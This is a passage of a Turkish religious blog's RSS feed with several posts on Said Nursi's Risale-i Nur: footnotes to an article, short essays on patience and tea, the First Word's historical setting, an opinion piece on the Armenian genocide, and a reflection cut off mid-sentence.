<p>[4] Bediüzzaman Said Nursi, <em>Barla Lahikası</em>, Yeni Asya Neşriyat, İstanbul: Şubat 2014, s. 588-591.</p>
<p>[5] Bediüzzaman Said Nursi, <em>Risale-i Nur Külliyatı</em>, Nesil Yayınları, İstanbul:2002, Cilt: 2, s. 1590-1591.</p>
<p>[6] Bediüzzaman Said Nursi, <em>Kastamonu Lahikası</em>, Diyanet İşleri Başkanlığı (basılmamış nüsha), s. 51-53.</p>
<p>[7] “Üstad”lığın mahiyeti için bkz: “Mesleğimizin esası uhuvvettir. Peder ile evlât, şeyh ile mürid mâbeynindeki vasıta değildir. Belki hakikî kardeşlik vasıtalarıdır. Olsa olsa bir üstadlık ortaya girer. Mesleğimiz halîliye olduğu için, meşrebimiz hıllettir. Hıllet ise, en yakın dost ve en fedakâr arkadaş ve en güzel takdir edici yoldaş ve en civanmert kardeş olmak iktiza eder.” http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Lemalar&amp;Page=166 (erişim tarihi: 10.04.2015)</p>
<p>[8] “Risale-i Nur’a intisap eden zâtın en ehemmiyetli vazifesi, onu yazmak ve yazdırmaktır ve intişarına yardım etmektir. Onu yazan veya yazdıran, ‘Risale-i Nur talebesi’ unvanını alır.”</p>
<p>[9] “Benimle hakikat meşrebinde sohbet etmek ve görüşmek isteyen adam hangi risaleyi açsa, benimle değil, hâdim-i Kur’an olan Üstadıyla görüşür ve hakaik-i imaniyeden zevkle bir ders alabilir.”</p>
<p>[10] “Bu sene çok defa ihtar edilen hakikatleri kaydetmek için teşebbüs ettimse de çalıştırılamadım.”</p>
<p>[11] “Onun için vazifem bitmiş gibi bana geliyor.”</p>
<p>[12] http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;SubSection=TelifKronolojisi (erişim tarihi: 10.04.2015)</p>
<p>[13] “Bir şey daha kaldı; en tehlikesi odur ki: İçinizde ve ahbabınızda, bu fakir kardeşinize karşı bir kıskançlık damarı bulunmak, en tehlikelidir. Sizlerde mühim ehl-i ilim de var. Ehl-i ilmin bir kısmında bir enâniyet-i ilmiye bulunur. Kendi mütevazi de olsa, o cihette enâniyetlidir; çabuk enâniyetini bırakmaz. Kalbi, aklı ne kadar yapışsa da, nefsi, o ilmî enâniyeti cihetinde imtiyaz ister, kendini satmak ister, hattâ yazılan risalelere karşı muaraza ister. Kalbi risaleleri sevdiği ve aklı istihsan ettiği ve yüksek bulduğu hÂlde, nefsi ise, enâniyet-i ilmiyeden gelen kıskançlık cihetinde zımnî bir adâvet besler gibi, Sözlerin kıymetlerinin tenzilini arzu eder-tâ ki kendi mahsulât-ı fikriyesi onlara yetişsin, onlar gibi satılsın. Halbuki, bilmecburiye bunu haber veriyorum ki:</p>
<p>Bu durûs-u Kur’âniyenin dairesi içinde olanlar, allâme ve müctehidler de olsalar, vazifeleri, ulûm-u imaniye cihetinde, yalnız yazılan şu Sözlerin şerhleri ve izahlarıdır veya tanzimleridir. Çünkü, çok emârelerle anlamışız ki, bu ulûm-u imaniyedeki fetvâ vazifesiyle tavzif edilmişiz. Eğer biri, dairemiz içinde nefsin enâniyet-i ilmiyeden aldığı bir hisle, şerh ve izah haricinde bir şey yazsa, soğuk bir muaraza veya nâkıs bir taklitçilik hükmüne geçer. Çünkü, çok delillerle ve emârelerle tahakkuk etmiş ki, Risale-i Nur eczaları Kur’ân’ın tereşşuhâtıdır; bizler, taksimü’l-a’mÂl kaidesiyle, herbirimiz bir vazife deruhte edip o âb-ı hayat tereşşuhâtını muhtaç olanlara yetiştiriyoruz.”</p>
<p>http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=413 (erişim tarihi: 10.04.2015)</p>
<p>[14] Bu paragraftaki iddialarımızı rakamlarla ve somut isimlerle desteklemek mümkün, fakat maksadımız deşifre değil tespit olduğu için bundan bilerek kaçındık.</p>
<p>[15] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=KastamonuLahikasi&amp;Page=193</a> (erişim tarihi: 14.04.2015)</p>
<p>[16] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=TarihceiHayat&amp;Page=200</a> (erişim tarihi: 14.04.2015)</p>
<p>[17] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Mektubat&amp;Page=425</a> (erişim tarihi: 11.04.2015)</p>
<p>[18] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=MesneviiNuriye&amp;Page=87</a> (erişim tarihi: 11.04.2015)</p>
<p>[19] “Vakta ki, hâl sahrasında istikbal dağlarına daima yağmur veren hakaik-i hikmetin maden-i tebahhuratı efkâr ve akıl ve hak ve hikmet olduklarından ve yeni tevellüde başlayan meyl-i taharrî-i hakikat ve aşk-ı hak ve menfaat-i umumiyeyi menfaat-i şahsiyeye tercih ve meyl-i insaniyetkârâneyi intaç eyleyen berahin-i katıadan başka isbat-ı müddea birşeyle olmaz. Biz ehl-i haliz, namzed-i istikbaliz. Tasvir ve tezyin-i müddeâ, zihnimizi işbâ’ etmiyor. Burhan isteriz.” <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
<p>[20] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bir tevekkül emaresi olarak çay</title>
		<link>http://layetezelzel.com/bir-tevekkul-emaresi-olarak-cay/</link>
		<comments>http://layetezelzel.com/bir-tevekkul-emaresi-olarak-cay/#comments</comments>
		<pubDate>Mon, 03 Nov 2014 09:26:35 +0000</pubDate>
		<dc:creator>Faruk Saim</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Kader]]></category>
		<category><![CDATA[Lahikalar]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[çay]]></category>
		<category><![CDATA[tevekkül]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=176</guid>
		<description><![CDATA[Musibetler çalışmadığımız yerden geldiğinde, sabır stoğumuz dört koldan gelen musibetler karşısında yetmediğinde ve dahi Mekkeli ilk sahabelere imanlarını lafzen red ruhsatı verilene kadar sabretmelerini hatıra getirdiğimizde sabırdan anladığımızda bir sıkıntı olduğunu görmek gerekir Tevekkül sabrın yakıtıdır. Tevekkülsüz sabır yolda kalır. .....]]></description>
				<content:encoded><![CDATA[<p>Musibetler çalışmadığımız yerden geldiğinde, sabır stoğumuz dört koldan gelen musibetler karşısında yetmediğinde ve dahi Mekkeli ilk sahabelere imanlarını lafzen red ruhsatı verilene kadar sabretmelerini hatıra getirdiğimizde sabırdan anladığımızda bir sıkıntı olduğunu görmek gerekir</p>
<p>Tevekkül sabrın yakıtıdır. Tevekkülsüz sabır yolda kalır. Onu içindir ki sabrederken &#8220;Tevekkeltü alAllah&#8221;demek adettendir.</p>
<p>Sabretmek, kadere razı olmak&#8230; bu hasletler ancak tahkiki iman ile mümkündür.</p>
<p>Kaderden razı olan tevekkül eder, tevekkül eden sabır bulur. Sabrı bulan huzurdadır.</p>
<p>İnsan hizmet için yola çıktığında bile musibetlerden muaf olmaz. Hatta tekamülü için musibetler daha sık ziyaret edebilir bir mümini. En kudsi bir hizmet için ömrünü vakfetse insan, yine de musibetten şekva etmeye hakkı yoktur. Çünkü musibet onun dostudur, tekamülü için yardımına koşmuştur. Tahkiki iman ile tevekkülü çağırır, tevekkül ile sabrı, sabır ile huzuru.</p>
<p>Huzurların en yücesine, Ru&#8217;yetullaha ulaşmak için yardıma gelen musibete ancak şükredilir.</p>
<p>Onun içindir ki yıllarca iğneyle kuyu kazar gibi didinip biriktirdiğiniz her şey bir musibetle elinizde gitse  ve bir talebeniz gelip:</p>
<p>&#8220;Üstadım, her şeyi kaybettik, şimdi ne yapacağız?&#8221; dese, ancak &#8220;Çay koy keçeli, yeniden başlayacağız.&#8221; dersiniz.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/bir-tevekkul-emaresi-olarak-cay/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ulvi bir hizmetin tarihi bir mukaddimesi: Bir(inci) söz</title>
		<link>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/</link>
		<comments>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/#comments</comments>
		<pubDate>Wed, 29 Oct 2014 10:46:35 +0000</pubDate>
		<dc:creator>Kasım İkbal</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[Tevhid]]></category>
		<category><![CDATA[Ubudiyet]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[bismillah]]></category>
		<category><![CDATA[cumhuriyet]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[okunak]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[tevhid]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=155</guid>
		<description><![CDATA[Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak .....]]></description>
				<content:encoded><![CDATA[<p>Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak etmemizde büyük kolaylık sağlayacaktır. Örnekleri çoğaltmamız mümkün.</p>
<p>1918 yılında Bediüzzaman Said Nursi hazretleri, Darü&#8217;l-Hikmeti&#8217;l-İslamiye üyeliğine getirilmiştir. Bu yıllarda İstanbul’da olan Üstad hazretleri, 1920 yılında ise Yeşilay’ın kurucuları arasında yer almıştır. 1921 yılında Osmanlı İmparatorluğu’nun son Şeyhülislamlarından Dürrizade Abdullah Efendi’nin Kuvay-ı Milliye aleyhine vermiş olduğu fetvaya karşı Anadolu hareketini destekleyen bir fetva yayınlamıştır. Anadolu hareketini destekleyen bu tavrı nedeniyle de 19 Kasım 1922 tarihinde Büyük Millet Meclisi tarafından Ankara’ya davet edilmiş ve hoşamedi programıyla karşılanmıştır. Buraya kadar yaşananlar üzerinden çok şey konuşulabilir lakin konumuz olmadığı için şimdilik erteliyoruz.</p>
<p>Ankara’daki ahval üzerine, Kuvay-ı Milliye kahramanlarının hassaten namaz konusunda gösterdikleri lakaytlıktan ötürü 1 Şubat 1923 tarihinde 10 maddelik bir beyanname yayınlamıştır. Bununla ilgili detayları da Birinci Söz’ün yazıldığı atmosferi soluyabilmek adına okumak gerekir.<sup>1</sup> O tarihten sonra Üstad hazretleri, kendisine teklif edilen tüm rütbe ve makamları reddederek Ankara’dan ayrılır. Van’a gider. Şeyh Said hadisesi bahane edilerek Üstad hazretleri, 1925 yılı sonlarında Burdur’a sürgün edilir.</p>
<p>Bu tarihten sonra 25 Ocak 1926 tarihinde Üstad hazretleri, Isparta’ya sürgün edilir ve bundan tam bir ay sonra 20 Şubat 1926’da da o tarihte ıssız bir belde olan Barla’da daimi ikamete mecbur edilir. İşte tam da bu tarihte Risale-i Nur&#8217;un neşri başlamış olur. Burdur’da yazılan “Nurun İlk Kapısı” sonrasında Barla’da Sözler’in neşrine başlanır Bismillah denerek.</p>
<p>Yine 1926 yılının Mart aylarında Yeni Ceza kanunu yürürlüğe girer. Belki bu kanun da hukukçu arkadaşlar tarafından tarihsel süreci içerisinde yeniden okunup yorumlanmalıdır. Ki Haziran ayında Mustafa Kemal’e yönelik düzenlenen İzmir suikastinin ortaya çıkarılıp faillerinin idam edilmesi konusu da yine tarihsel süreç zarfında yeniden okunmalıdır. Çünkü failler yeni ceza kanununa göre yargılanmışlardır.</p>
<p>Yine asli konumuza dönecek olursak; Yeni Asya Neşriyat tarafından basılan Risale-i Nur Külliyatı&#8217;nın arka kısmındaki kronolojide 1, 2, 3, 4, 5, 6, 7, 8, 9, 20, 21 ve 22. Sözlerin 1926 yılında yazıldığı ifade edilmektedir. Yani Üstad hazretleri, bu eserleri Barla’da daimi ikamete mecbur edildiği sıralarda kaleme almıştır. Peki nedir bu risalelerin içeriği?<sup>2</sup> Konularına ve sıralamalarına baktığımızda bu eserlerin Cumhuriyetin ilk yıllarında dine yapılan tecavüzlere karşı birer hakikat beyanı olduğu gözlemlenmektedir. Tüm bunların içerisinde ise Birinci Söz, bismillah diyerek dine karşı yapılan bu tecavüzlere ilişkin olarak tarihi bir mukaddimedir.</p>
<p>Dili oldukça sade olan bu eserin “Şu mübarek kelime İslam nişanı olduğu gibi, bütün mevcudatın lisan-ı haliyle vird-i zebanıdır” kısmına geldiğimizde vird-i zeban tamlamasının sözlük anlamı “dillerden düşmeyen dua” olarak yer almaktadır. Farsça olan bu kelime, Kur&#8217;an-ı Kerim’de Cehennem bekçisi olan “zebani” olarak yer almaktadır. Halbuki “zeban” bir çağa, bir gruba özgü söz dağarcığı anlamını da barındırmaktadır. Bu ifade yer alan şekliyle vird-i zeban, “dillerden düşmeyen dua” yerine daha çok kainattaki tüm varlıkların farklı lisanla dahi olsa aynı virdi yaptıklarını ifade etmektedir. Yine cümlenin başında belirtilen besmelenin İslam nişanı olduğunun ifadesi ise halifeliğin ilga edilmesi de dahil olmak üzere dine karşı yapılan tecavüzlere ilişkin bir atıf olarak okunabilir. Bismillah denilerek yazımına başlanan bu eserler de bu İslam nişanının, bu İslam davasının en büyük savunucusu hükmündedir.</p>
<p>İlerleyen satırlarda karşımıza çıkan “her hadisatın karşısında titremekten kurtul” ifadesi ise o dönemde yine dine karşı yapılan tecavüzler olarak okunabilir. Çünkü yaşanan hadiseler, dinini yaşamak isteyen insanlar açısından büyük hadiseler, büyük tecrübelerdir.</p>
<p>“Besmele çeken tohum ve çekirdekler başlarında ağaçları taşıyor” ifadesiyle Üstad hazretleri, bir muhalden söz ederken, muhalin mümkün hale gelmesinin sebebini de yine “bismillah” deyip Allah’a sırtını dayamaya bağlamış oluyor. Yani Müslümanları müjdeliyor, Müslümanlara ümit veriyor. Dine karşı yapılan onca tecavüze rağmen ümitlerin kırılmamasını haber veriyor.</p>
<p>Son olarak “Mal sahibi Allah ne fiyat istiyor?” sorusuna ilişkin olarak ise ücret ve fiyat ayrımına atıf yapmak gerekiyor. Ücret, bir emek karşılığında ödenen para iken fiyat ise alınan bir mal veya hizmet karşılığında ödenecek para miktarıdır. Mal sahibi olan Allah, ücret değil fiyat istiyorsa bizim farkında olarak veya olmayarak satın aldığımız nimetlere bir atıf yapmış oluyor. Ayrıca mal sahibi olan Allah ifadesiyle de vahdaniyette kuvvetli bir atıftan söz edebiliriz.</p>
<p>Öyle ise “Allah namına işlemeli, Allah namına başlamalı ve Allah hesabıyla vermeli ve almalı.”</p>
<p>Vesselam.</p>
<ol>
<li>Detaylar için bknz. <a href="http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5">http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5</a></li>
<li>Birinci Söz: Besmele<br />
İkinci Söz: İnanların ve inkar edenlerin bakış açılarındaki kıyas<br />
Üçüncü Söz: Tevekkül<br />
Dördüncü söz: Namaz<br />
Beşinci Söz: Dünya işleri namaza mani mi? Rızk için çalışmak ne zaman ibadet olur?<br />
Altıncı Söz: Yetenek ve organlarımızın Allah için nasıl kullanılacağı<br />
Yedinci Söz: Namaz kılmak ve kebairin terkiyle alakalı olup sabır, tevekkül, şükür ve kanaat kavramlarının izahı<br />
Sekizinci Söz: İnananların ve inanmayanların dünya hayatlarındaki kazanç ve kayıplarına ilişkin karşılaştırma<br />
Dokuzuncu Söz: Namazın beş vakte tahsisinin hikmeti<br />
Yirminci Söz: Kur&#8217;an ile ilgili bazı sorulara cevaplar ve Kur&#8217;an mucizelerinden örnekler<br />
Yirmi birinci söz: Namaz bahsi</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mazlumu helalliğe borçlu çıkarmak</title>
		<link>http://layetezelzel.com/mazlumu-helallige-borclu-cikarmak/</link>
		<comments>http://layetezelzel.com/mazlumu-helallige-borclu-cikarmak/#comments</comments>
		<pubDate>Sun, 28 Apr 2013 08:04:38 +0000</pubDate>
		<dc:creator>Faruk Saim</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Haşir]]></category>
		<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Ubudiyet]]></category>
		<category><![CDATA[1915]]></category>
		<category><![CDATA[Ermeni soykırımı]]></category>
		<category><![CDATA[tehcir]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=133</guid>
		<description><![CDATA[“Size bunu katiyen söylüyorum ki, şu milletin saadeti ve selameti Ermenilerle ittifak ve dost olmaya vabestedir.” (Münazarat)* “De ki: ‘Allah her şeyin Rabbi iken ben O’ndan başka bir rab mı ararım? Herkesin kazandığı, yalnız kendisine aittir. Hiçbir günahkâr, başkasının günahını .....]]></description>
				<content:encoded><![CDATA[<p style="text-align: right;"><em>“Size bunu katiyen söylüyorum ki, şu milletin saadeti ve selameti Ermenilerle ittifak ve dost olmaya vabestedir.”</em> <strong>(Münazarat)*</strong></p>
<p style="text-align: right;"><em>“De ki: ‘Allah her şeyin Rabbi iken ben O’ndan başka bir rab mı ararım? Herkesin kazandığı, yalnız kendisine aittir. <strong>Hiçbir günahkâr, başkasının günahını yüklenmez. </strong>Sonunda hep dönüp Rabbinizin huzuruna varacaksınız. O da içinde bulunduğunuz ihtilafın içyüzünü, işin gerçeğini size bildirecektir.’” </em><strong>(En’am Suresi, 164)</strong></p>
<p style="text-align: left;"><strong>1915-1923 yılları arasında Türkiye’de ne oldu?</strong></p>
<p>Murat Bardakçı’nın Talat Paşa’nın arşivinden açıkladığı rakamlara göre 925.000 Ermeni (evet, suçlu, zanlı, mahkum, sapık, mütecaviz ya da terörist bile değil, sadece ERMENİ) ülkelerinden devlet marifetiyle kovuldu. Ermeni taşnak çetecilerin toplam sayısı 2-3 bin bile değilken, devlet 925.000 vatandaşını ülkesinden kovdu. Üstelik hiçbir gerekli güvenlik önlemini almadan çöle gönderdi bu insanları! Hiçbirini öldürmemiş olsa bile tüm bu olup biteni izlemek utanmak için yeterli değil mi?</p>
<p>Sürecin hemen başında yani 24 Nisan 1915′te başlayan cinayetler ve Ermeni entelektüellerin yargılama veya suçlama yapılmaksızın toplanmasıyla İstanbul’da eli kalem tutan ne kadar Ermeni varsa öldürüldü. Yaklaşık 1000 kadar Ermeni yazar, şair, gazeteci katledildi.</p>
<p>“Tehcir” edilen 925.000 Ermeni’nin malı mülkü bu ülkenin insanları tarafından hırsızlandı, iç edildi.</p>
<p>Suriye’ye gönderilen Ermenilerden -en abartılı sayılar ile- ulaşabilenlerin sayısı en fazla 150.000. İlkokul matematik bilgisi ile hesap yapılırsa 925.000-150.000= 775.000 Ermeni nerede? Taraflı Türk kaynaklarına göre bile ortada yaklaşık 800.000 insan kaybı var.</p>
<p><a href="http://www.layetezelzel.com/wp-content/uploads/2014/10/Armenian-refugees-in-Syria.png"><img class="alignnone  wp-image-134" alt="Armenian refugees in Syria" src="http://www.layetezelzel.com/wp-content/uploads/2014/10/Armenian-refugees-in-Syria-300x168.png" width="600" height="336" /></a><a href="https://web.archive.org/web/20130816034114/http://layetezelzel.dusunceokulu.org/wp-content/uploads/2013/04/1920-halep-ermeni-2.jpg"><br />
</a><em>1920 Yılında Halep Kampından, Çocuklarını Taşıyan Ermeni Anneler</em></p>
<p>Şahitliklerle sabit, yüzlerce “gelin-kuma” alınmış Ermeni kadını, yetimhanelere alınan binlerce çocuk…</p>
<p>Olay ortada ve görmek isteyenler için açık. 2-3 bin çeteci ne yapmış olurlarsa olsunlar bu tabloyu “ama onlar da bize saldırdı” diye açıklamak mümkün değil. Kaldı ki saldıranlar adı üzerinde “çete”. Kanun tanımaz çeteciler. Oysa devletin böyle kanunsuz zulüm uygulama hakkı yoktur. Çetecilere bile olsa yargılama ve cezalandırma ile karşılık vermek zorundadır.</p>
<p>Zulmün faili İttihatçılar belki. Ancak bugün çok önemli değil. Devletin sahip çıktığı bir mirasın o zamanki sahipleri sadece.</p>
<p>Savaş zamanı da mazeret değildir. Savaşın da bir hukuku vardır.</p>
<p><strong>Musalaha-helalleşme</strong></p>
<p>Musalaha, barışmak, barış antlaşması yapmak demektir. Bunu yapmak için ya karşı tarafı yenmeli ya da karşılıklı rıza ile masaya oturmanız gerekir. Zararların tazmininden kaçmanın imkanı yoktur.</p>
<p>Helalleşme içinse söyleyecek çok söz var. Hele gel helalleşelim, unutalım gitsin tavrıyla helallik istenmez. Gerçekten Allah korkusuyla helallik istiyorsan bir kere mahcup olman gerekir. Zalimin mazlumdan helallik alacağı değil olsa olsa borcu vardır. Ödemese de inşallah ahirette ödeyecektir. Mazlum hakkını her şekilde ahirette alacakken tekebbür ile helalleşelim gitsin demek Allah korkusu olmadığının ispatıdır.</p>
<p><strong>Özür</strong></p>
<p>Helalleşme için önce samimi bir özür gerekir. Samimi derken bir anlam ifade eden bir özürden bahsediyorum. Bu zulümde muhatap kimse derhal özür dilemeli ve verdiği zararı misliyle tazmin etmelidir. Peki kim bu zulmün sahibi?</p>
<p>1. Osmanlı mirasına sahip çıkan Türkiye Cumhuriyeti Devleti hükümeti.</p>
<p>2. Devletin telkinlerine kanıp Ermeni komşusu ihbar eden, kanına giren ve</p>
<p>3. Dedeleri bir anda zenginleşen, gömü bulan, miras olarak kilise bile bırakan vatandaşlar.</p>
<p>Bu 3′ü dışında kalanlar ise hak yerini bulana kadar susmamak, adalet istemekle yükümlüdürler. Mazluma hakkını veren bir özür sonrası helallik istemek samimi ve yerinde olacaktır. Ama bu yine bizim üzerimize bir hak değil, ancak mazlumun vicdanından bize bir lütuf olur.</p>
<p>Yukarıda olayları tanımlama riskine girmedim. Benim şahsi görüşüm, eğer soykırım diye bir suç varsa, 1915-1923 arası bu ülkede olan şey Ermeni Soykırımıdır. Ancak tanımın ne olduğu çok önemli değil. Bir Müslüman böylesine büyük bir zulmün günahını üzerinde taşımak istemiyorsa hizmetkarı olan devletten bu zulüm için helallik almasını sağlayacak her şeyi yapmasını istemelidir. Ben kendi adıma yapıyorum.</p>
<p>Müslim bir zihin görmeli ki bu zulmün günahını taşıdığımız sürece ne bu dünyada ne de ahirette rahat yüzü görmeyeceğiz.</p>
<p>———————————————————<br />
* Bu alıntıyı alıntı görmeden Said Nursi’nin fikirlerini yazıda göremeyen arkadaşlar için ekledim.</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/mazlumu-helallige-borclu-cikarmak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bediüzzaman’ın eksiği ne?</title>
		<link>http://layetezelzel.com/bediuzzamanin-eksigi-ne/</link>
		<comments>http://layetezelzel.com/bediuzzamanin-eksigi-ne/#comments</comments>
		<pubDate>Sat, 02 Feb 2013 13:29:27 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=383</guid>
		<description><![CDATA[Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi .....]]></description>
				<content:encoded><![CDATA[<p>Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi olsa tavırlar , haller , kâviller, kalpler, ruhlar, akıllar adedince ve bunların tesiriyle değişiyor bir şeyler. Kirli , müşevveş zihinlerimiz , modernist akıllarımız hatta reformist kalplerimizin tesiriyle oluyor bunlar evet. Kitapta yazılanı bazen sadece nefsimizle tefsir ediyoruz, bazen aklımızla tefsir edince tatmin oluyoruz ya da. Halbuki hakikat ‘mâlum’ , fakat hallerimiz, kavillerimiz, kalplerimiz, akıllarımız belki vicdanlarımız ve en bâriz ve belirgin olarak nefsimizin saikıyla ‘malum olan’ , ‘mâruf’ olamıyor , hakikati okuyor fakat hakikati duyamıyoruz. Hakikat bazen rüyaya dönüyor, bazen bir bâtıl libâsı giyip dolanıyor, bazen cerbeze, bazen mübalağa, hatta bazen mücazefesûretinde geliyor karşımıza.</p>
<p>Haller , tavırlar ve kaviller ve hatta kalpler , eşittir insan , eşittir cemiyet , eşittir belki alt kümelerde ‘cemaat’ ; pek çok insan , pek çok ses, pek çok vicdan ve sair. Eşittir pek çok hakikat, hakikat, maslahat, ıslahat , hasene, uhuvvet, ihlas,rıza, vefa, muavenet, Elhamdulillah. Fakat bu kadar mı ? Hayır değil, insan ; haset, inat, bâtıl , rüyâ, riya, cerbeze, mübalağa, mücazefe, yalanıyla da insan. Yani insandan, cemiyetten, cemaatten sadece ‘hakikat’ sâdır olmuyor, nefislerimize ve hevalarımıza belki bazen salt bir akıl, ve muinsiz bir kalbe dayandığımız vakitler, hakikatten uzaklaşıyoruz.</p>
<p>***</p>
<p>Bu hakikatle bâtıl arasında kalmışlığın birini yaşamaya başlamıştım yine, Bediüzzaman’a üstadım dediğim zata büyük bir haksızlık yapıldığını düşünüyordum, hem de onun eserlerini okuyan bizim elimizle , onu –haşa – yücelten sözlerimizle eylediğimiz bir haksızlık, hem de bu haksızlığı bir güzel ağabeyimin ihtarıyla muhakemattan da teyid ediyordu zihnim.</p>
<p>“ Bu toprakların kurtuluşu Bediüzzaman sayesindedir, ‘bediuzzaman olmasaydı…’ , “ bediüzzaman ve nurculuk olmasaydı..” “ bu topraklardaki İslami zafer Bediuzzamandır.” , gibi pek çok cümle. Şimdi üst üste sayınca ağırmış gibi geliyor, ama bu nevden cümleleri çokça duyuyorduk / duyuyoruz. Bediüzzaman’ın şahsına hem de başka insanların mücadelesine hakaret ediyorduk , Bediüzzaman’ın kendi eserlerinden de anladığım kadarıyla.</p>
<p>Evet o Bediüzzaman’dı, şimdikilerin ergenlik yaşadığı bir yaşta o alimleri ilzam etmiş, ‘bediuzzaman’ diye nam salmıştı. Sadece ismiyle bile bir şaheserdi o, ve ona bediüzzaman demek bile yetiyordu.</p>
<p>Ama iş Bediüzzaman’ın çağdaşlarına gelince iş değişiyordu, söylediklerimiz de..</p>
<p>Ona sorulan sualda bile ‘bir kısım mütedeyyin zatlar’ dendiği halde , bütünulemâ ve ehl-i ilim ‘radyo başında’ymış gibi davranıyorduk. Hizmet eden kimse yoktu sanki.</p>
<p>Mandıra kiralayıp talebelerini orada işçi gösterip ders okutan yahut taksi tutup trafik halindeyken ders okutan bir Süleyman Hilmi Efendi vehim ve hayalât ürünü müdür? Bediüzzaman’ın tarihçe-i hayatına önsöz yazan Ali Ulvi Kurucu Efendi’nin hatıratlarında anlattığı meseleler azımsanacak şeyler midir mesela? Gizlice sahih-i buhari okutan şeyh efendiler, çocuklara gün ağarmadan ahırda gizlice elif-ba okuturken yakalanıp şehid edilenler, camisinden cemaatinden koparılıp hiçbir alakası olmadığı halde menemende idam edilenler ya? Mehmet Akifler, Elmalılı Hamdi Yazır’lar, Tahirul Mevlevi’ler, bu zatlar da mı yoktur? Köy köy gezip hadis okutanlar, irşada çalışanlar, bu zatlar da vardır ve kimisi şehid olarak hizmet etmiş, kimisi hasta döşeğinde dahi ilim öğretmeye devam etmiş. Rejimin kullandığı safdil hocalar da vardır elbette, hakikaten Bediüzzaman’a hasediyle muhalefet edenler de, belki hizmete mâni bile oldular bir kısmı. Ama hepsi radyo başında değildi, hepsi camiyi cemaati bırakıp gazeteye sarılıyor değildi. Peki neden görmüyorduk, 